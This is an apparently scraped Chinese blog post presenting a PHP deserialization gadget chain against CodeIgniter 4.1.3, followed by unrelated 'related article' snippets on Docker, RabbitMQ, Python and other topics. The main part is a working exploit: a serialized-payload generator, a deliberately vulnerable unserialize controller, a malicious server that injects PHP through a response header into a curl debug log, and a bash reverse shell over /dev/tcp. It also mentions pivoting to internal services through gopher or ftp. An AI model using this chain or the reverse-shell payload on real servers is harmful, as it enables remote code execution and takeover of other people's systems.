codeigniter 4.1.3 gadget chain
EXP code
找到一条很有意思的codeigniter框架的链。
<?php
namespace CodeIgniter\HTTP {class CURLRequest {protected $config = ["debug" => "./eee.php"];}
}namespace CodeIgniter\Session\Handlers {class MemcachedHandler{public function __construct($memcached, $url){$this->memcached = $memcached;$this->lockKey = $url;}}
}namespace CodeIgniter\Cache\Handlers {class RedisHandler{public $redis;public function __construct($redis){$this -> redis = $redis;}}
}namespace {$ip = $argv[1];$port = $argv[2];$exp = array(new \CodeIgniter\Cache\Handlers\RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\HTTP\CURLRequest(),"http://$ip:$port/")));echo urlencode(serialize($exp));
}
复现
下载最新的CodeIgniter框架,将以下代码写入app/controller/Home.php
。
<?php
namespace App\Controllers;class Home extends BaseController
{public function index(){$obj = @unserialize($_GET['obj']);var_dump($obj);return view('welcome_message');}
}
准备一个远程服务器,并填入php代码<?php header("X-Powered-By: <?php phpinfo();");
到index.php
。之后在index.php
所在目录启动一个简单的php http服务器。
执行上述exp并复制exp的输出。
php exp.php remote_server_ip remote_server_port
在本地启动CodeIgniter框架,将exp的输出粘贴到obj
参数中。然后,此exp将发送请求到远程服务器,并在本地写入eee.php。访问eee.php将执行phpinfo。
漏洞原理
新gadget的起始向量仍然是CodeIgniter\Cache\Handlers\RedisHandler::__destruct
方法。
public function __destruct()
{if (isset($this->redis)){$this->redis->close();}
}
将redis设置为
CodeIgniter\Session\Handlers\MemcachedHandler'类的对象,然后我们跳到CodeIgniter\Session\Handlers\MemcachedHandler::close
方法。
public function close(): bool
{if (isset($this->memcached)){isset($this->lockKey) && $this->memcached->delete($this->lockKey);...
将lockKey
分配给一个特别准备的远程服务器ip,memcached
分配给一个CodeIgniter\HTTP\CURLRequest
类的对象,这个对象,在config
中设置debug
选项为一个php文件。
之后我们将跳到CodeIgniter\HTTP\CURLRequest::delete
方法。
public function delete(string $url, array $options = []): ResponseInterface
{return $this->request('delete', $url, $options);
}
这个方法将http请求发送到设置的远程服务器。并且后续的调用将设置$curlOptions[CURLOPT_STDERR]
为我们之前指定的php文件。设置$curlOptions
的方法是CodeIgniter\HTTP\CURLRequest::setCURLOptions
。
protected function setCURLOptions(array $curlOptions = [], array $config = [])
{
...if ($config['debug']){$curlOptions[CURLOPT_VERBOSE] = 1;$curlOptions[CURLOPT_STDERR] = is_string($config['debug']) ? fopen($config['debug'], 'a+') : fopen('php://stderr', 'w');}
...
}
设置好的远程服务器将对发出的请求作出响应,并在响应头中返回一段php代码。这段php代码会被写入我们指定的curl日志文件中,也就是那个php文件。
远程服务器上的index.php。
<?php
header("X-Powered-By: <?php system('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');?>");
恶意的curl日志文件。
* Expire in 0 ms for 6 (transfer 0x???)
* Trying ???...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x???)
* Connected to ??? (???) port ??? (#0)
> DELETE / HTTP/1.1
Host: ???
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1< HTTP/1.1 200 OK
< Host: ???
< Date: Thu, 26 Aug 2021 06:07:19 GMT
< Connection: close
< X-Powered-By: <?php system('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"');?>
< Content-type: text/html; charset=UTF-8
<
* Closing connection 0
影响
- 如上所示,这可能导致恶意的php文件被写入服务器,导致攻击者获取服务器权限。
- 当攻击者无法写入恶意文件时,他可以用gopher或ftp协议代替上述http协议来攻击内网服务。
相关文章:
codeigniter 4.1.3 gadget chain
EXP code 找到一条很有意思的codeigniter框架的链。 <?php namespace CodeIgniter\HTTP {class CURLRequest {protected $config ["debug" > "./eee.php"];} }namespace CodeIgniter\Session\Handlers {class MemcachedHandler{public function …...
L1-039 古风排版 C++解法
题目再现 中国的古人写文字,是从右向左竖向排版的。本题就请你编写程序,把一段文字按古风排版。 输入格式: 输入在第一行给出一个正整数N(<100),是每一列的字符数。第二行给出一个长度不超过1000的非…...
docker安装tomcat
1.通过dockerhub搜索tomcat镜像 dockerhub官网:https://hub.docker.com/ 选择star最多的tomcat点击进入,有很多tomcat详细信息 docker run:运行,没有则会去docker pull 拉去镜像 -it:使用交互方式运行,进…...
别人ping不通我的ip解决方法
方法一:关闭防火墙 方法二:开启ICMPv4 控制面板\系统和安全\Windows Defender 防火墙-----打开高级设置-----入站规则,开启域和专用两个 ICMPv4 方法三:更改共享选项 控制面板\网络和 Internet\网络和共享中心...
Python爬虫基础之Selenium详解
目录 1. Selenium简介2. 为什么使用Selenium?3. Selenium的安装4. Selenium的使用5. Selenium的元素定位6. Selenium的交互7. Chrome handless参考文献 原文地址:https://program-park.top/2023/10/16/reptile_3/ 本文章中所有内容仅供学习交流使用&…...
MS5228数模转换器可pin对pin兼容AD5628
MS5228/5248/5268 是一款 12/14/16bit 八通道输出的电压型 DAC,内部集成上电复位电路、可选内部基准、接口采用四线串口模式,最高工作频率可以到 40MHz,可以兼容 SPI、QSPI、DSP 接口和 Microwire 串口。可pin对pin兼容AD5628。输出接到一个 …...
强化学习基础(2)—常用算法总结
目录 1.Value-Based 2. Policy-Based 参考文献 1.Value-Based Sarsa(State-action-reward-state’-action):是为了建立和优化状态-动作(state-action)的价值Q表格所建立的方法。首先初始化Q表格,根据当前的状态和动作与环境进行…...
Web攻防01-ASP应用相关漏洞-HTTP.SYSIIS短文件文件解析ACCESS注入
文章目录 ASP-默认安装-MDB数据库泄漏下载漏洞漏洞描述 ASP-中间件 HTTP.SYS(CVE-2015-1635)1、漏洞描述2、影响版本3、漏洞利用条件4、漏洞复现 ASP-中间件 IIS短文件漏洞1、漏洞描述2、漏洞成因:3、应用场景:4、利用工具:5、漏洞…...
入门小白拥有服务器的建议
学习网络知识 当我们拥有了一台服务器以后,需要提前准备学习一些网络、服务器、互联网方便的知识, 以备在后续学习工作中使用。 建议的网络知识学习清单: 1. 网络基础知识:包括网络拓扑结构、协议、IP地址、子网掩码、网关等基础概念。 2. 网络安全:包括网络攻击类型、防…...
Spring源码解析——事务增强器
正文 上一篇文章我们讲解了事务的Advisor是如何注册进Spring容器的,也讲解了Spring是如何将有配置事务的类配置上事务的,实际上也就是用了AOP那一套,也讲解了Advisor,pointcut验证流程,至此,事务的初始化工…...
JAVA发送消息到RabbitMq
项目中,作为生产者自定义消息发送到RabbitMq。 1.引入rmq依赖 <!-- rabbitmq 依赖 --><dependency><groupId>com.rabbitmq</groupId><artifactId>amqp-client</artifactId><version>5.9.0</version></dependen…...
Python 函数(lambda 匿名函数、自定义函数、装饰器)基本使用指南
Python 函数 函数是组织好的,可重复使用的,用来实现单一,或相关联功能的代码段 lambda 匿名函数 对于单行函数,使用 lambda 表达式可以省去定义函数的过程,让代码更加简洁; 对于不需要多次复用的函数&a…...
第五届芜湖机器人展,正运动助力智能装备“更快更准”更智能!
■展会名称: 第十一届中国(芜湖)科普产品博览交易会-第五届机器人展 ■展会日期 2023年10月21日-23日 ■展馆地点 中国ㆍ芜湖宜居国际博览中心B馆 ■展位号 B029 正运动技术,作为国内领先的运动控制企业,将于2023年10月21日参加芜湖机…...
JVM八股文
1.JVM的内存结构? 2.OOM是什么,怎么排查? 3.请解释四种引用是什么意思有什么区别? 4.GC的回收算法有哪些? 5.怎么判断对象是否存活? 1.什么是JVM内存结构 jvm将虚拟机分为5大区域,程序计数器、…...
代码随想录算法训练营第二十四天丨 回溯算法part02
216.组合总和III 思路 本题就是在 [1,2,3,4,5,6,7,8,9] 这个集合中找到和为n的k个数的组合。 相对于77. 组合 (opens new window),无非就是多了一个限制,本题是要找到和为n的k个数的组合,而整个集合已经是固定的了[1,...,9]。 本题k相当于…...
【Python机器学习】零基础掌握AgglomerativeClustering聚类
如何解决城市规划问题? 城市规划者们面临一个复杂问题:如何合理地规划土地,使商业、居民、公园和其他设施互相便利,同时又不互相干扰?解决这个问题不仅需要对土地进行精准的分类,还要考虑到土地之间的相互关系。 借助层次聚类算法(Agglomerative Clustering),规划者…...
uniapp小程序中给web-view页面添加授权弹窗(使用cover-view组件覆盖实现该功能)
效果图: web-view是承载网页的容器。会自动铺满整个小程序页面,个人类型的小程序暂不支持使用。 再看下面一个提示: 每个页面只能有一个 web-view,web-view 会自动铺满整个页面,并覆盖其他组件。 也就是说,…...
2023年全球及中国CGT CDMO市场发展现状分析:CGT 渗透率有效助力CGT CDMO快速发展[图]
与传统药物相比,CGT的外包服务更注重活体开发过程,如质粒、病毒、细胞的生产及纯化。标准化、规模化的工艺流程对最终制备的产品起到重要影响,是获取及制备能够满足临床需求的高质量CGT产品的关键。 CGT CDMO服务内容 资料来源:共…...
上抖音热搜榜需要做哪些准备?
要想在抖音上获得高曝光,首先需要了解抖音热搜榜的算法和规则。抖音热搜榜的排名主要取决于作品的点赞数、评论数、分享数和播放量。其中,播放量是影响排名的关键因素。因此,在创作作品时,要注重提高作品的播放量。此外࿰…...
LDA代码训练报错记录
1、AttributeError: ‘CountVectorizer‘ object has no attribute ‘get_feature_names‘ 代码内容: tf_feature_names tf_vectorizer.get_feature_names()报错信息 AttributeError: CountVectorizer object has no attribute get_feature_names报错解析&#…...
【吞噬星空】爽翻,徐欣喜提永恒之体,罗峰秒杀败类,阿特金磕头认错
Hello,小伙伴们,我是小郑继续为大家深度解析国漫资讯。 吞噬星空动画第89集终于更新了,阿特金三大巨头的好日子到头了,从他们对徐欣出手的那一刻,就已经有取死之道。如今罗峰强势回归,上演复仇戏码,让大家看…...
【c++】跟webrtc学状态改变
peerconn的状态看起来只是为了通知上层PeerConnectionState // See https://w3c.github.io/webrtc-pc/#dom-rtcpeerconnectionstateenum class PeerConnectionState {kNew,kConnecting,kConnected,kDisconnected,kFailed,kClosed,};static constexpr absl...
【入门】.Net Core 6 WebApi 项目搭建
一、创建项目 1.1.创建新项目:打开开发工具>创建新项目>搜索API>选择C#语言的ASP.NET Core Web API 1.2.配置新项目:**自定义项目信息以及存储路径 1.3.其他信息:这里框架必须选择.NET 6.0,其他配置默认勾选即可,也可以根…...
xtrabackup备份 脚本
1、全量备份在周末晚上22点执行备份,增量是周一到周六晚上22点执行 2、考虑到增量备份第一次是根据全量备份开始备份,后面都是根据上一次增量备份在增量脚本做了if判断,周日做一次目录清理 3、每周日晚上91点50清理目录 22点就在次备份&#…...
13SpringMVC中拦截器的配置(拦截规则)和多个拦截器的preHandle,postHandle执行顺序原理详解
拦截器 Servlet中的过滤器的实现及其原理,参考文章 配置一个拦截器 SpringMVC中请求的处理流程: 用户请求—>listener—>filter—>DispatcherServlet—>filter—>preHandle—>controller—>postHandle 第一步: 编写一个Java类实现HandlerInterceptor(…...
Liunx中系统安全及文件系统(极其粗糙版)
PS:下面知识点还很粗糙下次有时间再改 系统安全: 系统安全和数据防护,数据备份的资质 比如三台服务器: 500万 工信部是有要求的,组织必须保证处理的个人数据的安全性 品牌形象如何维护呢 基于liunx的安全加固措施…...
Java中的数组
前言: 本篇博客将为大家介绍Java中的数组的相关知识。 目录 基本介绍 概念相关 数组的使用 数组是引用类型 应用场景 保存数据 作为方法的参数 作为方法的返回值 练习 数组转字符串 数组拷贝 求数组中元素的平均值 查找数组中的指定元素(二…...
Java反射调用jar包实现多态
上一篇实现了反射调用jar包,但是没有实现多态,这次先给自己的jar包类抽象一个接口,然后实现类实现接口。最后调用放反射得到的对像转换成接口类型调用执行。 定义接口,指定包为ZLZJar package ZLZJar;public interface ITest {p…...
PowerBI 一些基础功能
1、PowerBI创建日期表 1.1、Power BI 日期表 - 知乎日期是做数据分析的时候使用最频繁的分析维度,一般建议建立单独的日期维度表,并与事实表的日期字段建立连接。 建立日期维度表可通过DAX函数的方式进行: 日期表 CALENDAR(DATE("2023&…...
Mac用命令行安装Adobe代码字体Source Code Pro
执行命令 brew tap homebrew/cask-fonts && brew cask install font-source-code-pro...
进行优化/郑州网站seo
OpenJDK中同时会有好几个项目在进行中。这些项目所带来的修改可能会加入到以后版本的JDK中。本文带你看一下OpenJDK中正在进行的重要项目,提前了解以后版本的JDK中会增加的功能。AmberAmber项目关注的是Java语言的小改动。Amber项目的一些成果已经被添加到JDK中。这…...
温州市网站建设公司/提高百度搜索排名
怎样调用一个由char * 指针指向函数名的函数?最直接的方法就是维护一个名字和函数指针的列表: int one_func(), two_func(); int red_func(), blue_func(); struct { char *name; int (*funcptr)(); } symtab[] {"one_func", o…...
寻花问柳一家专门做男人的网站/网上培训
Design Principles 这些设计原则能优化Android用户体验并使激发用户的最大兴趣,当你设计思考时要时刻想着他们,不要偏离目标。 打动我 用惊奇的方式吸引我 漂亮的界面,精心放置的动画,适时的声音反馈都是美好的体验,敏…...
东莞市南华职业技术学校/seo推广系统排名榜
如果您想向用户提供正在进行某些操作的可视反馈(并且可能会对进度提供一些提示),请转到JProgressBar和SwingWorker(more details)。另一方面,如果您想要有一种情况,当用户单击按钮并且任务应该在后台运行时(当用户执行其他操作时),…...
wordpress建站应用/长沙推广公司
1.什么是BIO?什么是NIO?什么是AIO? BIO是同步阻塞式IO,一个连接对应一个线程.每当有一个客户端请求连接,都要在服务端创建一个线程来服务这个客户端(因为这时候会阻塞,不能够接受其他客户端的连接请求),如果有很多客户端,就会对应成千上万个服务端线程,这会导致服务端负载过…...
做产品网站/电商还有发展前景吗
注:本文中 filebeat 的版本为 7.5,不同版本的 filebeat 的行为可能有所差异。 一、前言 filebeat 采集的日志的时间戳,和日志管理平台实际收到的日志时的时间戳,通常都会有几秒的延迟,有些情况下甚至能达到十几秒。其…...